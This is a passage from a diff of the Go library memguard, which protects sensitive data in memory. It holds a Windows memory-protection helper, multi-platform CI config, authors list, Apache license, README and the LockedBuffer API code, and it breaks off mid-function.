if mpf.flag == ReadWrite().flag {
|
||||
prot = 0x4 // PAGE_READWRITE
|
||||
} else if mpf.flag == ReadOnly().flag {
|
||||
prot = 0x2 // PAGE_READ
|
||||
} else if mpf.flag == NoAccess().flag {
|
||||
prot = 0x1 // PAGE_NOACCESS
|
||||
} else {
|
||||
return errors.New(ErrInvalidFlag)
|
||||
}
|
||||
|
||||
var oldProtect uint32
|
||||
if err := windows.VirtualProtect(_getPtr(b), uintptr(len(b)), uint32(prot), &oldProtect); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set %d on %p [Err: %s]", prot, _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DisableCoreDumps is included for compatibility reasons. On windows it is a no-op function.
|
||||
func DisableCoreDumps() error { return nil }
|
||||
|
|
@ -0,0 +1,78 @@
|
|||
linux_task:
|
||||
container:
|
||||
image: golang:latest
|
||||
env:
|
||||
GO111MODULE: on
|
||||
GOPATH: /tmp/go
|
||||
CIRRUS_WORKING_DIR: /tmp/go/src/github.com/${CIRRUS_REPO_FULL_NAME}
|
||||
build_script:
|
||||
- go version
|
||||
- go get ./...
|
||||
- go build -race -v ./...
|
||||
test_script:
|
||||
- go test -race -v ./...
|
||||
bench_script:
|
||||
- go test -run=XXX -bench=. ./...
|
||||
|
||||
osx_task:
|
||||
macos_instance:
|
||||
image: ghcr.io/cirruslabs/macos-ventura-base:latest
|
||||
env:
|
||||
GO111MODULE: on
|
||||
GOPATH: /tmp/go
|
||||
PATH: ${GOPATH}/bin:${PATH}
|
||||
CIRRUS_WORKING_DIR: /tmp/go/src/github.com/${CIRRUS_REPO_FULL_NAME}
|
||||
install_script:
|
||||
- brew install go
|
||||
build_script:
|
||||
- go version
|
||||
- go get ./...
|
||||
- go build -race -v ./...
|
||||
test_script:
|
||||
- go test -race -v ./...
|
||||
bench_script:
|
||||
- go test -run=XXX -bench=. ./...
|
||||
|
||||
windows_task:
|
||||
windows_container:
|
||||
image: cirrusci/windowsservercore:2019
|
||||
env:
|
||||
GO111MODULE: on
|
||||
GOPATH: C:\golang
|
||||
PATH: ${GOPATH}\bin;C:\Program Files\Go\bin;C:\Users\ContainerAdministrator\go\bin;${PATH}
|
||||
CIRRUS_WORKING_DIR: C:\golang\src\github.com\${CIRRUS_REPO_FULL_NAME}
|
||||
install_script:
|
||||
- choco install -y golang
|
||||
- choco install -y mingw # This installs MinGW which includes gcc
|
||||
- refreshenv
|
||||
- gcc --version
|
||||
build_script:
|
||||
- go version
|
||||
- go get ./...
|
||||
- env CGO_ENABLED=1 go build -race -v ./...
|
||||
test_script:
|
||||
- echo $PATH
|
||||
- refreshenv
|
||||
- echo $PATH
|
||||
- env CGO_ENABLED=1 go test -race -v ./...
|
||||
bench_script:
|
||||
- go test -run=XXX -bench=. ./...
|
||||
|
||||
freebsd_task:
|
||||
freebsd_instance:
|
||||
image: freebsd-14-0-release-amd64-ufs
|
||||
env:
|
||||
GO111MODULE: on
|
||||
GOPATH: /tmp/go
|
||||
PATH: ${GOPATH}/bin:${PATH}
|
||||
CIRRUS_WORKING_DIR: /tmp/go/src/github.com/${CIRRUS_REPO_FULL_NAME}
|
||||
install_script:
|
||||
- pkg install -y go git
|
||||
build_script:
|
||||
- go version
|
||||
- go get ./...
|
||||
- go build -race -v ./...
|
||||
test_script:
|
||||
- go test -race -v ./...
|
||||
bench_script:
|
||||
- go test -run=XXX -bench=. ./...
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
# Entries should be added alphabetically in the form:
|
||||
# Name or Organization <email address>
|
||||
|
||||
Andrew LeFevre <jalefevre@liberty.edu>
|
||||
Awn Umar <awn@spacetime.dev>
|
||||
Carlo Alberto Ferraris <cafxx@strayorange.com>
|
||||
dotcppfile <dotcppfile@gmail.com>
|
||||
Fedor Korotkov <fedor@cirruslabs.org>
|
||||
Jam Adams <wodadehencou@gmail.com>
|
||||
Joseph Richey <joerichey@google.com>
|
||||
Neven Sajko <nsajko@gmail.com>
|
||||
Paul Zeinlinger <paul.zeinlinger@gmail.com>
|
||||
|
|
@ -0,0 +1,201 @@
|
|||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright {yyyy} {name of copyright owner}
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
<p align="center">
|
||||
<img src="https://cdn.rawgit.com/awnumar/memguard/master/logo.svg" height="140" />
|
||||
<h3 align="center">MemGuard</h3>
|
||||
<p align="center">Software enclave for storage of sensitive information in memory.</p>
|
||||
<p align="center">
|
||||
<a href="https://cirrus-ci.com/github/awnumar/memguard"><img src="https://api.cirrus-ci.com/github/awnumar/memguard.svg"></a>
|
||||
<a href="https://pkg.go.dev/github.com/awnumar/memguard?tab=doc"><img src="https://godoc.org/github.com/awnumar/memguard?status.svg"></a>
|
||||
</p>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
This package attempts to reduce the likelihood of sensitive data being exposed when in memory. It aims to support all major operating systems and is written in pure Go.
|
||||
|
||||
## Features
|
||||
|
||||
* Sensitive data is encrypted and authenticated in memory with XSalsa20Poly1305. The [scheme](https://spacetime.dev/encrypting-secrets-in-memory) used also [defends against cold-boot attacks](https://spacetime.dev/memory-retention-attacks).
|
||||
* Memory allocation bypasses the language runtime by [using system calls](https://github.com/awnumar/memcall) to query the kernel for resources directly. This avoids interference from the garbage-collector.
|
||||
* Buffers that store plaintext data are fortified with guard pages and canary values to detect spurious accesses and overflows.
|
||||
* Effort is taken to prevent sensitive data from touching the disk. This includes locking memory to prevent swapping and handling core dumps.
|
||||
* Kernel-level immutability is implemented so that attempted modification of protected regions results in an access violation.
|
||||
* Multiple endpoints provide session purging and safe termination capabilities as well as signal handling to prevent remnant data being left behind.
|
||||
* Side-channel attacks are mitigated against by making sure that the copying and comparison of data is done in constant-time.
|
||||
* Accidental memory leaks are mitigated against by harnessing the garbage-collector to automatically destroy containers that have become unreachable.
|
||||
|
||||
Some features were inspired by [libsodium](https://github.com/jedisct1/libsodium), so credits to them.
|
||||
|
||||
Full documentation and a complete overview of the API can be found [here](https://godoc.org/github.com/awnumar/memguard). Interesting and useful code samples can be found within the [examples](examples) subpackage.
|
||||
|
||||
## Installation
|
||||
|
||||
```
|
||||
$ go get github.com/awnumar/memguard
|
||||
```
|
||||
|
||||
API is experimental and may have unstable changes. You should pin a version. [[modules](https://github.com/golang/go/wiki/Modules)]
|
||||
|
||||
## Contributing
|
||||
|
||||
* Submitting program samples to [`./examples`](examples).
|
||||
* Reporting bugs, vulnerabilities, and any difficulties in using the API.
|
||||
* Writing useful security and crypto libraries that utilise memguard.
|
||||
* Implementing kernel-specific/cpu-specific protections.
|
||||
* Submitting performance improvements.
|
||||
|
||||
Issues are for reporting bugs and for discussion on proposals. Pull requests should be made against master.
|
||||
|
|
@ -0,0 +1,697 @@
|
|||
package memguard
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
"os"
|
||||
"unsafe"
|
||||
|
||||
"github.com/awnumar/memguard/core"
|
||||
)
|
||||
|
||||
/*
|
||||
LockedBuffer is a structure that holds raw sensitive data.
|
||||
|
||||
The number of LockedBuffers that you are able to create is limited by how much memory your system's kernel allows each process to mlock/VirtualLock. Therefore you should call Destroy on LockedBuffers that you no longer need or defer a Destroy call after creating a new LockedBuffer.
|
||||
*/
|
||||
type LockedBuffer struct {
|
||||
*core.Buffer
|
||||
}
|
||||
|
||||
// Constructs a LockedBuffer object from a core.Buffer while also setting up the finalizer for it.
|
||||
func newBuffer(buf *core.Buffer) *LockedBuffer {
|
||||
return &LockedBuffer{buf}
|
||||
}
|
||||
|
||||
// Constructs a quasi-destroyed LockedBuffer with size zero.
|
||||
func newNullBuffer() *LockedBuffer {
|
||||
return &LockedBuffer{new(core.Buffer)}
|
||||
}
|
||||
|
||||
/*
|
||||
NewBuffer creates a mutable data container of the specified size.
|
||||
*/
|
||||
func NewBuffer(size int) *LockedBuffer {
|
||||
// Construct a Buffer of the specified size.
|
||||
buf, err := core.NewBuffer(size)
|
||||
if err != nil {
|
||||
return newNullBuffer()
|
||||
}
|
||||
|
||||
// Construct and return the wrapped container object.
|
||||
return newBuffer(buf)
|
||||
}
|
||||
|
||||
/*
|
||||
NewBufferFromBytes constructs an immutable buffer from a byte slice. The source buffer is wiped after the value has been copied over to the created container.
|
||||
*/
|
||||
func NewBufferFromBytes(src []byte) *LockedBuffer {
|
||||
// Construct a buffer of the correct size.
|
||||
b := NewBuffer(len(src))
|
||||
if b.Size() == 0 {
|
||||
return b
|
||||
}
|
||||
|
||||
// Move the data over.
|
||||
b.Move(src)
|
||||
|
||||
// Make the buffer immutable.
|
||||
b.Freeze()
|
||||
|
||||
// Return the created Buffer object.
|
||||
return b
|
||||
}
|
||||
|
||||
/*
|
||||
NewBufferFromReader reads some number of bytes from an io.Reader into an immutable LockedBuffer.
|
||||
|
||||
An error is returned precisely when the number of bytes read is less than the requested amount. Any data read is returned in either case.
|
||||
*/
|
||||
func NewBufferFromReader(r io.Reader, size int) (*LockedBuffer, error) {
|
||||
// Construct a buffer of the provided size.
|
||||
b := NewBuffer(size)
|
||||
if b.Size() == 0 {
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Attempt to fill it with data from the Reader.
|
||||
if n, err := io.ReadFull(r, b.Bytes()); err != nil {
|
||||
if n == 0 {
|
||||
// nothing was read
|
||||
b.Destroy()
|
||||
return newNullBuffer(), err
|
||||
}
|
||||
|
||||
// partial read
|
||||
d := NewBuffer(n)
|
||||
d.Copy(b.Bytes()[:n])
|
||||
d.Freeze()
|
||||
b.Destroy()
|
||||
return d, err
|
||||
}
|
||||
|
||||
// success
|
||||
b.Freeze()
|
||||
return b, nil
|
||||
}
|
||||
|
||||
/*
|
||||
NewBufferFromReaderUntil constructs an immutable buffer containing data sourced from an io.Reader object.
|
||||
|
||||
If an error is encountered before the delimiter value, the error will be returned along with the data read up until that point.
|
||||
*/
|
||||
func NewBufferFromReaderUntil(r io.Reader, delim byte) (*LockedBuffer, error) {
|
||||
// Construct a buffer with a data page that fills an entire memory page.
|
||||
b := NewBuffer(os.Getpagesize())
|
||||
|
||||
// Loop over the buffer a byte at a time.
|
||||
for i := 0; ; i++ {
|
||||
// If we have filled this buffer...
|
||||
if i == b.Size() {
|
||||
// Construct a new buffer that is a page size larger.
|
||||
c := NewBuffer(b.Size() + os.Getpagesize())
|
||||
|
||||
// Copy the data over.
|
||||
c.Copy(b.Bytes())
|
||||
|
||||
// Destroy the old one and reassign its variable.
|
||||
b.Destroy()
|
||||
b = c
|
||||
}
|
||||
|
||||
// Attempt to read a single byte.
|
||||
n, err := r.Read(b.Bytes()[i : i+1])
|
||||
if n != 1 { // if we did not read a byte
|
||||
if err == nil { // and there was no error
|
||||
i-- // try again
|
||||
continue
|
||||
}
|
||||
// if instead there was an error, we're done early
|
||||
if i == 0 { // no data read
|
||||
b.Destroy()
|
||||
return newNullBuffer(), err
|
||||
}
|
||||
d := NewBuffer(i)
|
||||
d.Copy(b.Bytes()[:i])
|
||||
d.Freeze()
|
||||
b.Destroy()
|
||||
return d, err
|
||||
}
|
||||
// we managed to read a byte, check if it was the delimiter
|
||||
// note that errors are ignored in this case where we got data
|
||||
if b.Bytes()[i] == delim {
|
||||
if i == 0 {
|
||||
// if first byte was delimiter, there's no data to return
|
||||
b.Destroy()
|
||||
return newNullBuffer(), nil
|
||||
}
|
||||
d := NewBuffer(i)
|
||||
d.Copy(b.Bytes()[:i])
|
||||
d.Freeze()
|
||||
b.Destroy()
|
||||
return d, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
NewBufferFromEntireReader reads from an io.Reader into an immutable buffer. It will continue reading until EOF.
|
||||
|
||||
A nil error is returned precisely when we managed to read all the way until EOF. Any data read is returned in either case.
|
||||
*/
|
||||
func NewBufferFromEntireReader(r io.Reader) (*LockedBuffer, error) {
|
||||
// Create a buffer with a data region of one page size.
|
||||
b := NewBuffer(os.Getpagesize())
|
||||
|
||||
for read := 0; ; {
|
||||
// Attempt to read some data from the reader.
|
||||
n, err := r.Read(b.Bytes()[read:])
|
||||
|
||||
// Nothing read but no error, try again.
|
||||
if n == 0 && err == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// 1) so either have data and no error
|
||||
// 2) or have error and no data
|
||||
// 3) or both have data and have error
|
||||
|
||||
// Increment the read count by the number of bytes that we just read.
|
||||
read += n
|
||||
|
||||
if err != nil {
|
||||
// Suppress EOF error
|
||||
if err == io.EOF {
|
||||
err = nil
|
||||
}
|
||||
// We're done, return the data.
|
||||
if read == 0 {
|
||||
// No data read.
|
||||
b.Destroy()
|
||||
return newNullBuffer(), err
|
||||
}
|
||||
d := NewBuffer(read)
|
||||
d.Copy(b.Bytes()[:read])
|
||||
d.Freeze()
|
||||
b.Destroy()
|
||||
return d, err
|
||||
}
|
||||
|
||||
// If we've filled this buffer, grow it by another page size.
|
||||
if len(b.Bytes()[read:]) == 0 {
|
||||
d := NewBuffer(b.Size() + os.Getpagesize())
|
||||
d.Copy(b.Bytes())
|
||||
b.Destroy()
|
||||
b = d
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
NewBufferRandom constructs an immutable buffer filled with cryptographically-secure random bytes.
|
||||
*/
|
||||
func NewBufferRandom(size int) *LockedBuffer {
|
||||
// Construct a buffer of the specified size.
|
||||
b := NewBuffer(size)
|
||||
if b.Size() == 0 {
|
||||
return b
|
||||
}
|
||||
|
||||
// Fill the buffer with random bytes.
|
||||
b.Scramble()
|
||||
|
||||
// Make the buffer immutable.
|
||||
b.Freeze()
|
||||
|
||||
// Return the created Buffer object.
|
||||
return b
|
||||
}
|
||||
|
||||
// Freeze makes a LockedBuffer's memory immutable. The call can be reversed with Melt.
|
||||
func (b *LockedBuffer) Freeze() {
|
||||
b.Buffer.Freeze()
|
||||
}
|
||||
|
||||
// Melt makes a LockedBuffer's memory mutable. The call can be reversed with Freeze.
|
||||
func (b *LockedBuffer) Melt() {
|
||||
b.Buffer.Melt()
|
||||
}
|
||||
|
||||
/*
|
||||
Seal takes a LockedBuffer object and returns its contents encrypted inside a sealed Enclave object. The LockedBuffer is subsequently destroyed and its contents wiped.
|
||||
|
||||
If Seal is called on a destroyed buffer, a nil enclave is returned.
|
||||
*/
|
||||
func (b *LockedBuffer) Seal() *Enclave {
|
||||
e, err := core.Seal(b.Buffer)
|
||||
if err != nil {
|
||||
if err == core.ErrBufferExpired {
|
||||
return nil
|
||||
}
|
||||
core.Panic(err)
|
||||
}
|
||||
return &Enclave{e}
|
||||
}
|
||||
|
||||
/*
|
||||
Copy performs a time-constant copy into a LockedBuffer. Move is preferred if the source is not also a LockedBuffer or if the source is no longer needed.
|
||||
*/
|
||||
func (b *LockedBuffer) Copy(src []byte) {
|
||||
b.CopyAt(0, src)
|
||||
}
|
||||
|
||||
/*
|
||||
CopyAt performs a time-constant copy into a LockedBuffer at an offset. Move is preferred if the source is not also a LockedBuffer or if the source is no longer needed.
|
||||
*/
|
||||
func (b *LockedBuffer) CopyAt(offset int, src []byte) {
|
||||
if !b.IsAlive() {
|
||||
return
|
||||
}
|
||||
|
||||
b.Lock()
|
||||
defer b.Unlock()
|
||||
|
||||
core.Copy(b.Bytes()[offset:], src)
|
||||
}
|
||||
|
||||
/*
|
||||
Move performs a time-constant move into a LockedBuffer. The source is wiped after the bytes are copied.
|
||||
*/
|
||||
func (b *LockedBuffer) Move(src []byte) {
|
||||
b.MoveAt(0, src)
|
||||
}
|
||||
|
||||
/*
|
||||
MoveAt performs a time-constant move into a LockedBuffer at an offset. The source is wiped after the bytes are copied.
|
||||
*/
|
||||
func (b *LockedBuffer) MoveAt(offset int, src []byte) {
|
||||
if !b.IsAlive() {
|
||||
return
|
||||
}
|
||||
|
||||
b.Lock()
|
||||
defer b.Unlock()
|
||||
|
||||
core.Move(b.Bytes()[offset:], src)
|
||||
}
|
||||
|
||||
/*
|
||||
Scramble attempts to overwrite the data with cryptographically-secure random bytes.
|
||||
*/
|
||||
func (b *LockedBuffer) Scramble() {
|
||||
if !b.IsAlive() {
|
||||
return
|
||||
}
|
||||
|
||||
b.Buffer.Scramble()
|
||||
}
|
||||
|
||||
/*
|
||||
Wipe attempts to overwrite the data with zeros.
|
||||
*/
|
||||
func (b *LockedBuffer) Wipe() {
|
||||
if !b.IsAlive() {
|
||||
return
|
||||
}
|
||||
|
||||
b.Lock()
|
||||
defer b.Unlock()
|
||||
|
||||
core.Wipe(b.Bytes())
|
||||
}
|
||||
|
||||
/*
|
||||
Size gives you the length of a given LockedBuffer's data segment. A destroyed LockedBuffer will have a size of zero.
|
||||
*/
|
||||
func (b *LockedBuffer) Size() int {
|
||||
return len(b.Bytes())
|
||||
}
|
||||
|
||||
/*
|
||||
Destroy wipes and frees the underlying memory of a LockedBuffer. The LockedBuffer will not be accessible or usable after this calls is made.
|
||||
*/
|
||||
func (b *LockedBuffer) Destroy() {
|
||||
b.Buffer.Destroy()
|
||||
}
|
||||
|
||||
/*
|
||||
IsAlive returns a boolean value indicating if a LockedBuffer is alive, i.e. that it has not been destroyed.
|
||||
*/
|
||||
func (b *LockedBuffer) IsAlive() bool {
|
||||
return b.Buffer.Alive()
|
||||
}
|
||||
|
||||
/*
|
||||
IsMutable returns a boolean value indicating if a LockedBuffer is mutable.
|
||||
*/
|
||||
func (b *LockedBuffer) IsMutable() bool {
|
||||
return b.Buffer.Mutable()
|
||||
}
|
||||
|
||||
/*
|
||||
EqualTo performs a time-constant comparison on the contents of a LockedBuffer with a given buffer. A destroyed LockedBuffer will always return false.
|
||||
*/
|
||||
func (b *LockedBuffer) EqualTo(buf []byte) bool {
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
return core.Equal(b.Bytes(), buf)
|
||||
}
|
||||
|
||||
/*
|
||||
Functions for representing the memory region as various data types.
|
||||
*/
|
||||
|
||||
/*
|
||||
Bytes returns a byte slice referencing the protected region of memory.
|
||||
*/
|
||||
func (b *LockedBuffer) Bytes() []byte {
|
||||
return b.Buffer.Data()
|
||||
}
|
||||
|
||||
/*
|
||||
Reader returns a Reader object referencing the protected region of memory.
|
||||
*/
|
||||
func (b *LockedBuffer) Reader() *bytes.Reader {
|
||||
return bytes.NewReader(b.Bytes())
|
||||
}
|
||||
|
||||
/*
|
||||
String returns a string representation of the protected region of memory.
|
||||
*/
|
||||
func (b *LockedBuffer) String() string {
|
||||
slice := b.Bytes()
|
||||
return *(*string)(unsafe.Pointer(&slice))
|
||||
}
|
||||
|
||||
/*
|
||||
Uint16 returns a slice pointing to the protected region of memory with the data represented as a sequence of unsigned 16 bit integers. Its length will be half that of the byte slice, excluding any remaining part that doesn't form a complete uint16 value.
|
||||
|
||||
If called on a destroyed LockedBuffer, a nil slice will be returned.
|
||||
*/
|
||||
func (b *LockedBuffer) Uint16() []uint16 {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Compute size of new slice representation.
|
||||
size := b.Size() / 2
|
||||
if size < 1 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Construct the new slice representation.
|
||||
var sl = struct {
|
||||
addr uintptr
|
||||
len int
|
||||
cap int
|
||||
}{uintptr(unsafe.Pointer(&b.Bytes()[0])), size, size}
|
||||
|
||||
// Cast the representation to the correct type and return it.
|
||||
return *(*[]uint16)(unsafe.Pointer(&sl))
|
||||
}
|
||||
|
||||
/*
|
||||
Uint32 returns a slice pointing to the protected region of memory with the data represented as a sequence of unsigned 32 bit integers. Its length will be one quarter that of the byte slice, excluding any remaining part that doesn't form a complete uint32 value.
|
||||
|
||||
If called on a destroyed LockedBuffer, a nil slice will be returned.
|
||||
*/
|
||||
func (b *LockedBuffer) Uint32() []uint32 {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Compute size of new slice representation.
|
||||
size := b.Size() / 4
|
||||
if size < 1 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Construct the new slice representation.
|
||||
var sl = struct {
|
||||
addr uintptr
|
||||
len int
|
||||
cap int
|
||||
}{uintptr(unsafe.Pointer(&b.Bytes()[0])), size, size}
|
||||
|
||||
// Cast the representation to the correct type and return it.
|
||||
return *(*[]uint32)(unsafe.Pointer(&sl))
|
||||
}
|
||||
|
||||
/*
|
||||
Uint64 returns a slice pointing to the protected region of memory with the data represented as a sequence of unsigned 64 bit integers. Its length will be one eighth that of the byte slice, excluding any remaining part that doesn't form a complete uint64 value.
|
||||
|
||||
If called on a destroyed LockedBuffer, a nil slice will be returned.
|
||||
*/
|
||||
func (b *LockedBuffer) Uint64() []uint64 {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Compute size of new slice representation.
|
||||
size := b.Size() / 8
|
||||
if size < 1 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Construct the new slice representation.
|
||||
var sl = struct {
|
